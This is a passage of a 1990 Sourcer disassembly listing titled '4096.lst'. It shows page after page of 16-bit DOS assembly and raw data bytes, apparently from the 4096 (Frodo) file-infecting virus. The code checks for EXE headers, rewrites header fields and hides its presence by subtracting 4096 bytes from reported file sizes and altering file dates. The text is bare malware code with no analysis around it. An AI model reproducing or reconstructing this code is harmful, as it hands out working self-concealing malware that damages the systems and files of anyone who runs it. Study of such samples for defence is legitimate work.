  394. 72F2:04B6            loc_12:                        ;  xref 72F2:0526, 056B, 05F2, 062A
  395.                                         ;            066F, 0899, 0BAD, 0C3B
  396.                                         ;            0DA3
  397. 72F2:04B6  E8 0A3A                call    sub_19            ; (0EF3)
  398. 72F2:04B9  EB A4                jmp    short loc_11        ; (045F)
  399. 72F2:04BB  E8 35 0A E8 F3 0A            db    0E8h, 35h, 0Ah, 0E8h, 0F3h, 0Ah
  400. 72F2:04C1  E8 03 0A 0A C0 75            db    0E8h, 3, 0Ah, 0Ah, 0C0h, 75h
  401. 72F2:04C7  EE 8B DA F6 47 15            db    0EEh, 8Bh, 0DAh, 0F6h, 47h, 15h
  402. 72F2:04CD  80 74 E6 80 6F 15            db    80h, 74h, 0E6h, 80h, 6Fh, 15h
  403. 72F2:04D3  C8 81 6F 10 00 10            db    0C8h, 81h, 6Fh, 10h, 0, 10h
  404. 72F2:04D9  80 5F 12 00 EB D7            db    80h, 5Fh, 12h, 0, 0EBh, 0D7h
  405. 72F2:04DF  E3 1B 8B DA 8B 77            db    0E3h, 1Bh, 8Bh, 0DAh, 8Bh, 77h
  406. 72F2:04E5  21 0B 77 23 75 11            db    21h, 0Bh, 77h, 23h, 75h, 11h
  407. 72F2:04EB  EB 0A 8B DA 8B 47            db    0EBh, 0Ah, 8Bh, 0DAh, 8Bh, 47h
  408. 72F2:04F1  0C 0A 47 20 75 05            db    0Ch, 0Ah, 47h, 20h, 75h, 5
  409. 72F2:04F7  E8 3F 05 73 03 E9            db    0E8h, 3Fh, 5, 73h, 3, 0E9h
  410. 72F2:04FD  30 FF                db    30h, 0FFh
  411. 72F2:04FF            loc_13:
  412. 72F2:04FF  E8 09F1                call    sub_19            ; (0EF3)
  413. 72F2:0502  E8 09C2                call    sub_17            ; (0EC7)
  414.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 8
  415.  
  416. 72F2:0505  E8 0AAC                call    sub_24            ; (0FB4)
  417. 72F2:0508  89 46 FC                mov    [bp-4],ax
  418. 72F2:050B  89 4E F8                mov    [bp-8],cx
  419. 72F2:050E  1E                    push    ds
  420. 72F2:050F  52                    push    dx
  421. 72F2:0510  E8 018E                call    sub_3            ; (06A1)
  422. 72F2:0513  83 7F 14 01                cmp    word ptr [bx+14h],1
  423. 72F2:0517  74 0F                je    loc_14            ; Jump if equal
  424. 72F2:0519  8B 07                mov    ax,[bx]
  425. 72F2:051B  03 47 02                add    ax,[bx+2]
  426. 72F2:051E  03 47 04                add    ax,[bx+4]
  427. 72F2:0521  74 05                jz    loc_14            ; Jump if zero
  428. 72F2:0523  83 C4 04                add    sp,4
  429. 72F2:0526  EB 8E                jmp    short loc_12        ; (04B6)
  430. 72F2:0528            loc_14:                        ;  xref 72F2:0517, 0521
  431. 72F2:0528  5A                    pop    dx
  432. 72F2:0529  1F                    pop    ds
  433. 72F2:052A  8B F2                mov    si,dx
  434. 72F2:052C  0E                    push    cs
  435. 72F2:052D  07                    pop    es
  436. 72F2:052E  BF 12B5                mov    di,12B5h
  437. 72F2:0531  B9 0025                mov    cx,25h
  438. 72F2:0534  F3/A4                rep    movsb            ; Rep while cx>0 Mov [si] to es:[di]
  439. 72F2:0536  BF 12B5                mov    di,12B5h
  440. 72F2:0539  0E                    push    cs
  441. 72F2:053A  1F                    pop    ds
  442. 72F2:053B  8B 45 10                mov    ax,[di+10h]
  443. 72F2:053E  8B 55 12                mov    dx,[di+12h]
  444. 72F2:0541  05 100F                add    ax,100Fh
  445. 72F2:0544  83 D2 00                adc    dx,0
  446. 72F2:0547  25 FFF0                and    ax,0FFF0h
  447. 72F2:054A  89 45 10                mov    [di+10h],ax
  448. 72F2:054D  89 55 12                mov    [di+12h],dx
  449. 72F2:0550  2D 0FFC                sub    ax,0FFCh
  450. 72F2:0553  83 DA 00                sbb    dx,0
  451. 72F2:0556  89 45 21                mov    [di+21h],ax
  452. 72F2:0559  89 55 23                mov    [di+23h],dx
  453. 72F2:055C  C7 45 0E 0001            mov    word ptr [di+0Eh],1
  454. 72F2:0561  B9 001C                mov    cx,1Ch
  455. 72F2:0564  8B D7                mov    dx,di
  456. 72F2:0566  B4 27                mov    ah,27h            ; '''
  457. 72F2:0568  E8 0A49                call    sub_24            ; (0FB4)
  458. 72F2:056B  E9 FF48                jmp    loc_12            ; (04B6)
  459. 72F2:056E  0E 07 8B F2 BF B5            db    0Eh, 7, 8Bh, 0F2h, 0BFh, 0B5h
  460. 72F2:0574  12 B9 25 00 F3 A4            db    12h, 0B9h, 25h, 0, 0F3h, 0A4h
  461. 72F2:057A  1E 52 0E 1F BA B5            db    1Eh, 52h, 0Eh, 1Fh, 0BAh, 0B5h
  462. 72F2:0580  12 B4 0F E8 2E 0A            db    12h, 0B4h, 0Fh, 0E8h, 2Eh, 0Ah
  463. 72F2:0586  B4 10 E8 29 0A F6            db    0B4h, 10h, 0E8h, 29h, 0Ah, 0F6h
  464. 72F2:058C  06 CA 12 80 5E 1F            db    6, 0CAh, 12h, 80h, 5Eh, 1Fh
  465. 72F2:0592  74 7E 2E C4 1E C5            db    74h, 7Eh, 2Eh, 0C4h, 1Eh, 0C5h
  466. 72F2:0598  12 8C C0 81 EB 00            db    12h, 8Ch, 0C0h, 81h, 0EBh, 0
  467. 72F2:059E  10 1D 00 00 33 D2            db    10h, 1Dh, 0, 0, 33h, 0D2h
  468. 72F2:05A4  2E 8B 0E C3 12 49            db    2Eh, 8Bh, 0Eh, 0C3h, 12h, 49h
  469. 72F2:05AA  03 D9 15 00 00 41            db    3, 0D9h, 15h, 0, 0, 41h
  470. 72F2:05B0  F7 F1 89 44 23 92            db    0F7h, 0F1h, 89h, 44h, 23h, 92h
  471. 72F2:05B6  93 F7 F1 89 44 21            db    93h, 0F7h, 0F1h, 89h, 44h, 21h
  472. 72F2:05BC  E9 F7 FE 2E 83 26            db    0E9h, 0F7h, 0FEh, 2Eh, 83h, 26h
  473.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 9
  474.  
  475. 72F2:05C2  B3 12 FE E8 2B 09            db    0B3h, 12h, 0FEh, 0E8h, 2Bh, 9
  476. 72F2:05C8  E8 E9 09 E8 F9 08            db    0E8h, 0E9h, 9, 0E8h, 0F9h, 8
  477. 72F2:05CE  73 09 2E 83 0E B3            db    73h, 9, 2Eh, 83h, 0Eh, 0B3h
  478. 72F2:05D4  12 01 E9 DD FE E8            db    12h, 1, 0E9h, 0DDh, 0FEh, 0E8h
  479. 72F2:05DA  C5 00 F6 47 19 80            db    0C5h, 0, 0F6h, 47h, 19h, 80h
  480. 72F2:05E0  75 03 E9 D1 FE            db    75h, 3, 0E9h, 0D1h, 0FEh
  481. 72F2:05E5            loc_15:
  482. 72F2:05E5  81 6F 1A 1000            sub    word ptr [bx+1Ah],1000h
  483. 72F2:05EA  83 5F 1C 00                sbb    word ptr [bx+1Ch],0
  484. 72F2:05EE  80 6F 19 C8                sub    byte ptr [bx+19h],0C8h
  485. 72F2:05F2  E9 FEC1                jmp    loc_12            ; (04B6)
  486. 72F2:05F5  51 83 E1 07 83 F9            db    51h, 83h, 0E1h, 7, 83h, 0F9h
  487. 72F2:05FB  07 74 2F 59 E8 E4            db    7, 74h, 2Fh, 59h, 0E8h, 0E4h
  488. 72F2:0601  07 E8 AF 09 E8 84            db    7, 0E8h, 0AFh, 9, 0E8h, 84h
  489. 72F2:0607  08 9C 2E 80 3E DA            db    8, 9Ch, 2Eh, 80h, 3Eh, 0DAh
  490. 72F2:060D  12 00 74 04 9D E9            db    12h, 0, 74h, 4, 9Dh, 0E9h
  491. 72F2:0613  1A FE 9D 72 09 8B            db    1Ah, 0FEh, 9Dh, 72h, 9, 8Bh
  492. 72F2:0619  D8 B4 3E E8 95 09            db    0D8h, 0B4h, 3Eh, 0E8h, 95h, 9
  493. 72F2:061F  EB 10                db    0EBh, 10h
  494. 72F2:0621            loc_16:
  495. 72F2:0621  2E:80 0E 12B3 01            or    byte ptr cs:data_64e,1    ; (72F2:12B3=0)
  496. 72F2:0627  89 46 FC                mov    [bp-4],ax
  497. 72F2:062A  E9 FE89                jmp    loc_12            ; (04B6)
  498. 72F2:062D  59 E9 FE FD                db    59h, 0E9h, 0FEh, 0FDh
  499. 72F2:0631            loc_17:
  500. 72F2:0631  E8 045D                call    sub_9            ; (0A91)
  501. 72F2:0634  E8 040E                call    sub_8            ; (0A45)
  502. 72F2:0637  72 39                jc    loc_19            ; Jump if carry Set
  503. 72F2:0639  2E:80 3E 12A2 00            cmp    byte ptr cs:data_55e,0    ; (72F2:12A2=0)
  504. 72F2:063F  74 31                je    loc_19            ; Jump if equal
  505. 72F2:0641  E8 045A                call    sub_10            ; (0A9E)
  506. 72F2:0644  83 FB FF                cmp    bx,0FFFFh
  507. 72F2:0647  74 29                je    loc_19            ; Jump if equal
  508. 72F2:0649  2E:FE 0E 12A2            dec    byte ptr cs:data_55e    ; (72F2:12A2=0)
  509. 72F2:064E  0E                    push    cs
  510. 72F2:064F  07                    pop    es
  511. 72F2:0650  BF 1252                mov    di,1252h
  512. 72F2:0653  B9 0014                mov    cx,14h
  513. 72F2:0656  33 C0                xor    ax,ax            ; Zero register
  514. 72F2:0658  F2/AF                repne    scasw            ; Rept zf=0+cx>0 Scan es:[di] for ax
  515. 72F2:065A  2E:A1 12A3                mov    ax,cs:data_56e        ; (72F2:12A3=0)
  516. 72F2:065E  26:89 45 FE                mov    es:[di-2],ax
  517. 72F2:0662  26:89 5D 26                mov    es:[di+26h],bx
  518. 72F2:0666  89 5E FC                mov    [bp-4],bx
  519. 72F2:0669            loc_18:                        ;  xref 72F2:069C
  520. 72F2:0669  2E:80 26 12B3 FE            and    byte ptr cs:data_64e,0FEh    ; (72F2:12B3=0)
  521. 72F2:066F  E9 FE44                jmp    loc_12            ; (04B6)
  522. 72F2:0672            loc_19:                        ;  xref 72F2:0637, 063F, 0647
  523. 72F2:0672  E9 FDBA                jmp    loc_10            ; (042F)
  524. 72F2:0675  0E 07 E8 17 04 BF            db    0Eh, 7, 0E8h, 17h, 4, 0BFh
  525. 72F2:067B  52 12 B9 14 00 2E            db    52h, 12h, 0B9h, 14h, 0, 2Eh
  526. 72F2:0681  A1 A3 12                db    0A1h, 0A3h, 12h
  527. 72F2:0684            loc_20:                        ;  xref 72F2:068C
  528. 72F2:0684  F2/AF                repne    scasw            ; Rept zf=0+cx>0 Scan es:[di] for ax
  529. 72F2:0686  75 16                jnz    loc_21            ; Jump if not zero
  530. 72F2:0688  26:3B 5D 26                cmp    bx,es:[di+26h]
  531. 72F2:068C  75 F6                jne    loc_20            ; Jump if not equal
  532.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 10
  533.  
  534. 72F2:068E  26:C7 45 FE 0000            mov    word ptr es:[di-2],0
  535. 72F2:0694  E8 021C                call    sub_4            ; (08B3)
  536. 72F2:0697  2E:FE 06 12A2            inc    byte ptr cs:data_55e    ; (72F2:12A2=0)
  537. 72F2:069C  EB CB                jmp    short loc_18        ; (0669)
  538. 72F2:069E            loc_21:                        ;  xref 72F2:0686
  539. 72F2:069E  E9 FD8E                jmp    loc_10            ; (042F)
  540.   
  541.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  542.                 ;                   SUBROUTINE
  543.                 ;
  544.                 ;         Called from:     72F2:0510
  545.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  546.   
  547.                 sub_3        proc    near
  548. 72F2:06A1  06                    push    es
  549. 72F2:06A2  B4 2F                mov    ah,2Fh            ; '/'
  550. 72F2:06A4  E8 090D                call    sub_24            ; (0FB4)
  551. 72F2:06A7  06                    push    es
  552. 72F2:06A8  1F                    pop    ds
  553. 72F2:06A9  07                    pop    es
  554. 72F2:06AA  C3                    retn
  555.                 sub_3        endp
  556.   
  557. 72F2:06AB  0A C0 74 03 E9 4E            db    0Ah, 0C0h, 74h, 3, 0E9h, 4Eh
  558. 72F2:06B1  01 1E 52 2E 89 1E            db    1, 1Eh, 52h, 2Eh, 89h, 1Eh
  559. 72F2:06B7  24 12 2E 8C 06 26            db    24h, 12h, 2Eh, 8Ch, 6, 26h
  560. 72F2:06BD  12 2E C5 36 24 12            db    12h, 2Eh, 0C5h, 36h, 24h, 12h
  561. 72F2:06C3  BF F1 12 B9 0E 00            db    0BFh, 0F1h, 12h, 0B9h, 0Eh, 0
  562. 72F2:06C9  0E 07 F3 A4 5E 1F            db    0Eh, 7, 0F3h, 0A4h, 5Eh, 1Fh
  563. 72F2:06CF  BF 07 13 B9 50 00            db    0BFh, 7, 13h, 0B9h, 50h, 0
  564. 72F2:06D5  F3 A4 BB FF FF E8            db    0F3h, 0A4h, 0BBh, 0FFh, 0FFh, 0E8h
  565. 72F2:06DB  7D 08 E8 13 08 5D            db    7Dh, 8, 0E8h, 13h, 8, 5Dh
  566. 72F2:06E1  2E 8F 06 E6 12 2E            db    2Eh, 8Fh, 6, 0E6h, 12h, 2Eh
  567. 72F2:06E7  8F 06 E8 12 2E 8F            db    8Fh, 6, 0E8h, 12h, 2Eh, 8Fh
  568. 72F2:06ED  06 B3 12 B8 01 4B            db    6, 0B3h, 12h, 0B8h, 1, 4Bh
  569. 72F2:06F3  0E 07 BB F1 12 9C            db    0Eh, 7, 0BBh, 0F1h, 12h, 9Ch
  570. 72F2:06F9  2E FF 1E 35 12 73            db    2Eh, 0FFh, 1Eh, 35h, 12h, 73h
  571. 72F2:06FF  20 2E 83 0E B3 12            db    20h, 2Eh, 83h, 0Eh, 0B3h, 12h
  572. 72F2:0705  01 2E FF 36 B3 12            db    1, 2Eh, 0FFh, 36h, 0B3h, 12h
  573. 72F2:070B  2E FF 36 E8 12 2E            db    2Eh, 0FFh, 36h, 0E8h, 12h, 2Eh
  574. 72F2:0711  FF 36 E6 12 55 8B            db    0FFh, 36h, 0E6h, 12h, 55h, 8Bh
  575. 72F2:0717  EC 2E C4 1E 24 12            db    0ECh, 2Eh, 0C4h, 1Eh, 24h, 12h
  576. 72F2:071D  E9 3F FD                db    0E9h, 3Fh, 0FDh
  577. 72F2:0720            loc_22:
  578. 72F2:0720  E8 036E                call    sub_9            ; (0A91)
  579. 72F2:0723  0E                    push    cs
  580. 72F2:0724  07                    pop    es
  581. 72F2:0725  BF 1252                mov    di,1252h
  582. 72F2:0728  B9 0014                mov    cx,14h
  583. 72F2:072B            loc_23:                        ;  xref 72F2:073E
  584. 72F2:072B  2E:A1 12A3                mov    ax,cs:data_56e        ; (72F2:12A3=0)
  585. 72F2:072F  F2/AF                repne    scasw            ; Rept zf=0+cx>0 Scan es:[di] for ax
  586. 72F2:0731  75 0D                jnz    loc_24            ; Jump if not zero
  587. 72F2:0733  26:C7 45 FE 0000            mov    word ptr es:[di-2],0
  588. 72F2:0739  2E:FE 06 12A2            inc    byte ptr cs:data_55e    ; (72F2:12A2=0)
  589. 72F2:073E  EB EB                jmp    short loc_23        ; (072B)
  590. 72F2:0740            loc_24:                        ;  xref 72F2:0731
  591.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 11
  592.  
  593. 72F2:0740  2E:C5 36 1303            lds    si,dword ptr cs:data_79e    ; (72F2:1303=0) Load 32 bit ptr
  594. 72F2:0745  83 FE 01                cmp    si,1
  595. 72F2:0748  75 33                jne    loc_25            ; Jump if not equal
  596. 72F2:074A  8B 16 001A                mov    dx,ds:data_6e        ; (0000:001A=0F000h)
  597. 72F2:074E  83 C2 10                add    dx,10h
  598. 72F2:0751  B4 51                mov    ah,51h            ; 'Q'
  599. 72F2:0753  E8 085E                call    sub_24            ; (0FB4)
  600. 72F2:0756  03 D3                add    dx,bx
  601. 72F2:0758  2E:89 16 1305            mov    word ptr cs:data_79e+2,dx    ; (72F2:1305=0)
  602. 72F2:075D  FF 36 0018                push    word ptr ds:data_5e    ; (0000:0018=0EAA6h)
  603. 72F2:0761  2E:8F 06 1303            pop    word ptr cs:data_79e    ; (72F2:1303=0)
  604. 72F2:0766  83 C3 10                add    bx,10h
  605. 72F2:0769  03 1E 0012                add    bx,ds:data_3e        ; (0000:0012=70h)
  606. 72F2:076D  2E:89 1E 1301            mov    cs:data_78e,bx        ; (72F2:1301=0)
  607. 72F2:0772  FF 36 0014                push    word ptr ds:data_4e    ; (0000:0014=0FF54h)
  608. 72F2:0776  2E:8F 06 12FF            pop    word ptr cs:data_77e    ; (72F2:12FF=0)
  609. 72F2:077B  EB 22                jmp    short loc_26        ; (079F)
  610. 72F2:077D            loc_25:                        ;  xref 72F2:0748
  611. 72F2:077D  8B 04                mov    ax,[si]
  612. 72F2:077F  03 44 02                add    ax,[si+2]
  613. 72F2:0782  03 44 04                add    ax,[si+4]
  614. 72F2:0785  74 60                jz    loc_27            ; Jump if zero
  615. 72F2:0787  0E                    push    cs
  616. 72F2:0788  1F                    pop    ds
  617. 72F2:0789  BA 1307                mov    dx,1307h
  618. 72F2:078C  E8 02B6                call    sub_8            ; (0A45)
  619. 72F2:078F  E8 030C                call    sub_10            ; (0A9E)
  620. 72F2:0792  2E:FE 06 12EF            inc    byte ptr cs:data_76e    ; (72F2:12EF=0)
  621. 72F2:0797  E8 0119                call    sub_4            ; (08B3)
  622. 72F2:079A  2E:FE 0E 12EF            dec    byte ptr cs:data_76e    ; (72F2:12EF=0)
  623. 72F2:079F            loc_26:                        ;  xref 72F2:077B, 07FE
  624. 72F2:079F  B4 51                mov    ah,51h            ; 'Q'
  625. 72F2:07A1  E8 0810                call    sub_24            ; (0FB4)
  626. 72F2:07A4  E8 0768                call    sub_21            ; (0F0F)
  627. 72F2:07A7  E8 0711                call    sub_16            ; (0EBB)
  628. 72F2:07AA  E8 072D                call    sub_18            ; (0EDA)
  629. 72F2:07AD  E8 0756                call    sub_20            ; (0F06)
  630. 72F2:07B0  8E DB                mov    ds,bx
  631. 72F2:07B2  8E C3                mov    es,bx
  632. 72F2:07B4  2E:FF 36 12B3            push    word ptr cs:data_64e    ; (72F2:12B3=0)
  633. 72F2:07B9  2E:FF 36 12E8            push    word ptr cs:data_72e    ; (72F2:12E8=0)
  634. 72F2:07BE  2E:FF 36 12E6            push    word ptr cs:data_71e    ; (72F2:12E6=0)
  635. 72F2:07C3  8F 06 000A                pop    word ptr ds:data_10e    ; (0080:000A=0)
  636. 72F2:07C7  8F 06 000C                pop    word ptr ds:data_11e    ; (0080:000C=0)
  637. 72F2:07CB  1E                    push    ds
  638. 72F2:07CC  C5 16 000A                lds    dx,dword ptr ds:data_10e    ; (0080:000A=0) Load 32 bit ptr
  639. 72F2:07D0  B0 22                mov    al,22h            ; '"'
  640. 72F2:07D2  E8 08E7                call    sub_26            ; (10BC)
  641. 72F2:07D5  1F                    pop    ds
  642. 72F2:07D6  9D                    popf                ; Pop flags
  643. 72F2:07D7  58                    pop    ax
  644. 72F2:07D8  2E:8E 16 1301            mov    ss,cs:data_78e        ; (72F2:1301=0)
  645. 72F2:07DD  2E:8B 26 12FF            mov    sp,cs:data_77e        ; (72F2:12FF=0)
  646. 72F2:07E2  2E:FF 2E 1303            jmp    dword ptr cs:data_79e    ; (72F2:1303=0)
  647. 72F2:07E7            loc_27:                        ;  xref 72F2:0785
  648. 72F2:07E7  8B 5C 01                mov    bx,[si+1]
  649. 72F2:07EA  8B 80 FD9F                mov    ax,ds:data_12e[bx+si]    ; (0080:FD9F=0AD65h)
  650.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 12
  651.  
  652. 72F2:07EE  89 04                mov    [si],ax
  653. 72F2:07F0  8B 80 FDA1                mov    ax,ds:data_13e[bx+si]    ; (0080:FDA1=0B295h)
  654. 72F2:07F4  89 44 02                mov    [si+2],ax
  655. 72F2:07F7  8B 80 FDA3                mov    ax,ds:data_14e[bx+si]    ; (0080:FDA3=0EB10h)
  656. 72F2:07FB  89 44 04                mov    [si+4],ax
  657. 72F2:07FE  EB 9F                jmp    short loc_26        ; (079F)
  658. 72F2:0800  3C 01 74 03 E9 28            db    3Ch, 1, 74h, 3, 0E9h, 28h
  659. 72F2:0806  FC                    db    0FCh
  660. 72F2:0807            loc_28:
  661. 72F2:0807  2E:83 0E 12B3 01            or    word ptr cs:data_64e,1    ; (72F2:12B3=0)
  662. 72F2:080D  2E:89 1E 1224            mov    cs:data_36e,bx        ; (72F2:1224=0)
  663. 72F2:0812  2E:8C 06 1226            mov    cs:data_37e,es        ; (72F2:1226=0)
  664. 72F2:0817  E8 06D9                call    sub_19            ; (0EF3)
  665. 72F2:081A  E8 0797                call    sub_24            ; (0FB4)
  666. 72F2:081D  E8 06A7                call    sub_17            ; (0EC7)
  667. 72F2:0820  2E:C4 1E 1224            les    bx,dword ptr cs:data_36e    ; (72F2:1224=0) Load 32 bit ptr
  668. 72F2:0825  26:C5 77 12                lds    si,dword ptr es:[bx+12h]    ; Load 32 bit ptr
  669. 72F2:0829  72 6E                jc    loc_31            ; Jump if carry Set
  670. 72F2:082B  2E:80 26 12B3 FE            and    byte ptr cs:data_64e,0FEh    ; (72F2:12B3=0)
  671. 72F2:0831  83 FE 01                cmp    si,1
  672. 72F2:0834  74 23                je    loc_29            ; Jump if equal
  673. 72F2:0836  8B 04                mov    ax,[si]
  674. 72F2:0838  03 44 02                add    ax,[si+2]
  675. 72F2:083B  03 44 04                add    ax,[si+4]
  676. 72F2:083E  75 45                jnz    loc_30            ; Jump if not zero
  677. 72F2:0840  8B 5C 01                mov    bx,[si+1]
  678. 72F2:0843  8B 80 FD9F                mov    ax,ds:data_7e[bx+si]    ; (0000:FD9F=0)
  679. 72F2:0847  89 04                mov    [si],ax
  680. 72F2:0849  8B 80 FDA1                mov    ax,ds:data_8e[bx+si]    ; (0000:FDA1=0)
  681. 72F2:084D  89 44 02                mov    [si+2],ax
  682. 72F2:0850  8B 80 FDA3                mov    ax,ds:data_9e[bx+si]    ; (0000:FDA3=0)
  683. 72F2:0854  89 44 04                mov    [si+4],ax
  684. 72F2:0857  EB 2C                jmp    short loc_30        ; (0885)
  685. 72F2:0859            loc_29:                        ;  xref 72F2:0834
  686. 72F2:0859  8B 16 001A                mov    dx,ds:data_6e        ; (0000:001A=0F000h)
  687. 72F2:085D  E8 0231                call    sub_9            ; (0A91)
  688. 72F2:0860  2E:8B 0E 12A3            mov    cx,cs:data_56e        ; (72F2:12A3=0)
  689. 72F2:0865  83 C1 10                add    cx,10h
  690. 72F2:0868  03 D1                add    dx,cx
  691. 72F2:086A  26:89 57 14                mov    es:[bx+14h],dx
  692. 72F2:086E  A1 0018                mov    ax,ds:data_5e        ; (0000:0018=0EAA6h)
  693. 72F2:0871  26:89 47 12                mov    es:[bx+12h],ax
  694. 72F2:0875  A1 0012                mov    ax,ds:data_3e        ; (0000:0012=70h)
  695. 72F2:0878  03 C1                add    ax,cx
  696. 72F2:087A  26:89 47 10                mov    es:[bx+10h],ax
  697. 72F2:087E  A1 0014                mov    ax,ds:data_4e        ; (0000:0014=0FF54h)
  698. 72F2:0881  26:89 47 0E                mov    es:[bx+0Eh],ax
  699. 72F2:0885            loc_30:                        ;  xref 72F2:083E, 0857
  700. 72F2:0885  E8 0209                call    sub_9            ; (0A91)
  701. 72F2:0888  2E:8E 1E 12A3            mov    ds,cs:data_56e        ; (72F2:12A3=0)
  702. 72F2:088D  8B 46 02                mov    ax,[bp+2]
  703. 72F2:0890  A3 000A                mov    ds:data_1e,ax        ; (0000:000A=11ECh)
  704. 72F2:0893  8B 46 04                mov    ax,[bp+4]
  705. 72F2:0896  A3 000C                mov    word ptr ds:data_1e+2,ax    ; (0000:000C=75Ch)
  706. 72F2:0899            loc_31:                        ;  xref 72F2:0829
  707. 72F2:0899  E9 FC1A                jmp    loc_12            ; (04B6)
  708. 72F2:089C  2E C6 06 F0 12 00            db    2Eh, 0C6h, 6, 0F0h, 12h, 0
  709.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 13
  710.  
  711. 72F2:08A2  B4 2A E8 0D 07 81            db    0B4h, 2Ah, 0E8h, 0Dh, 7, 81h
  712. 72F2:08A8  FA 16 09 72 03 E8            db    0FAh, 16h, 9, 72h, 3, 0E8h
  713. 72F2:08AE  22 08 E9 7C FB            db    22h, 8, 0E9h, 7Ch, 0FBh
  714.   
  715.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  716.                 ;                   SUBROUTINE
  717.                 ;
  718.                 ;         Called from:     72F2:0694, 0797
  719.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  720.   
  721.                 sub_4        proc    near
  722. 72F2:08B3  E8 0530                call    sub_13            ; (0DE6)
  723. 72F2:08B6  E8 00BC                call    sub_5            ; (0975)
  724. 72F2:08B9  C6 06 0020 01            mov    byte ptr ds:data_21e,1    ; (72F2:0020=0)
  725. 72F2:08BE  81 3E 1200 5A4D            cmp    word ptr ds:data_25e,5A4Dh    ; (72F2:1200=0)
  726. 72F2:08C4  74 0E                je    loc_32            ; Jump if equal
  727. 72F2:08C6  81 3E 1200 4D5A            cmp    word ptr ds:data_25e,4D5Ah    ; (72F2:1200=0)
  728. 72F2:08CC  74 06                je    loc_32            ; Jump if equal
  729. 72F2:08CE  FE 0E 0020                dec    byte ptr ds:data_21e    ; (72F2:0020=0)
  730. 72F2:08D2  74 58                jz    loc_35            ; Jump if zero
  731. 72F2:08D4            loc_32:                        ;  xref 72F2:08C4, 08CC
  732. 72F2:08D4  A1 1204                mov    ax,ds:data_28e        ; (72F2:1204=0)
  733. 72F2:08D7  D1 E1                shl    cx,1            ; Shift w/zeros fill
  734. 72F2:08D9  F7 E1                mul    cx            ; dx:ax = reg * ax
  735. 72F2:08DB  05 0200                add    ax,200h
  736. 72F2:08DE  3B C6                cmp    ax,si
  737. 72F2:08E0  72 48                jb    loc_34            ; Jump if below
  738. 72F2:08E2  A1 120A                mov    ax,ds:data_30e        ; (72F2:120A=0)
  739. 72F2:08E5  0B 06 120C                or    ax,ds:data_31e        ; (72F2:120C=0)
  740. 72F2:08E9  74 3F                jz    loc_34            ; Jump if zero
  741. 72F2:08EB  A1 12A9                mov    ax,ds:data_59e        ; (72F2:12A9=0)
  742. 72F2:08EE  8B 16 12AB                mov    dx,ds:data_60e        ; (72F2:12AB=0)
  743. 72F2:08F2  B9 0200                mov    cx,200h
  744. 72F2:08F5  F7 F1                div    cx            ; ax,dx rem=dx:ax/reg
  745. 72F2:08F7  0B D2                or    dx,dx            ; Zero ?
  746. 72F2:08F9  74 01                jz    loc_33            ; Jump if zero
  747. 72F2:08FB  40                    inc    ax
  748. 72F2:08FC            loc_33:                        ;  xref 72F2:08F9
  749. 72F2:08FC  A3 1204                mov    ds:data_28e,ax        ; (72F2:1204=0)
  750. 72F2:08FF  89 16 1202                mov    word ptr ds:data_25e+2,dx    ; (72F2:1202=0)
  751. 72F2:0903  83 3E 1214 01            cmp    word ptr ds:data_34e,1    ; (72F2:1214=0)
  752. 72F2:0908  74 62                je    loc_36            ; Jump if equal
  753. 72F2:090A  C7 06 1214 0001            mov    word ptr ds:data_34e,1    ; (72F2:1214=0)
  754. 72F2:0910  8B C6                mov    ax,si
  755. 72F2:0912  2B 06 1208                sub    ax,ds:data_29e        ; (72F2:1208=0)
  756. 72F2:0916  A3 1216                mov    ds:data_35e,ax        ; (72F2:1216=0)
  757. 72F2:0919  83 06 1204 08            add    word ptr ds:data_28e,8    ; (72F2:1204=0)
  758. 72F2:091E  A3 120E                mov    ds:data_32e,ax        ; (72F2:120E=0)
  759. 72F2:0921  C7 06 1210 1000            mov    word ptr ds:data_33e,1000h    ; (72F2:1210=0)
  760. 72F2:0927  E8 00A9                call    sub_6            ; (09D3)
  761. 72F2:092A            loc_34:                        ;  xref 72F2:08E0, 08E9
  762. 72F2:092A  EB 40                jmp    short loc_36        ; (096C)
  763. 72F2:092C            loc_35:                        ;  xref 72F2:08D2
  764. 72F2:092C  81 FE 0F00                cmp    si,0F00h
  765. 72F2:0930  73 3A                jae    loc_36            ; Jump if above or =
  766. 72F2:0932  A1 1200                mov    ax,ds:data_25e        ; (72F2:1200=0)
  767. 72F2:0935  A3 0004                mov    word ptr ds:data_17e+1,ax    ; (72F2:0004=0)
  768.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 14
  769.  
  770. 72F2:0938  03 D0                add    dx,ax
  771. 72F2:093A  A1 1202                mov    ax,word ptr ds:data_25e+2    ; (72F2:1202=0)
  772. 72F2:093D  A3 0006                mov    ds:data_19e,ax        ; (72F2:0006=0)
  773. 72F2:0940  03 D0                add    dx,ax
  774. 72F2:0942  A1 1204                mov    ax,ds:data_28e        ; (72F2:1204=0)
  775. 72F2:0945  A3 0008                mov    ds:data_20e,ax        ; (72F2:0008=0)
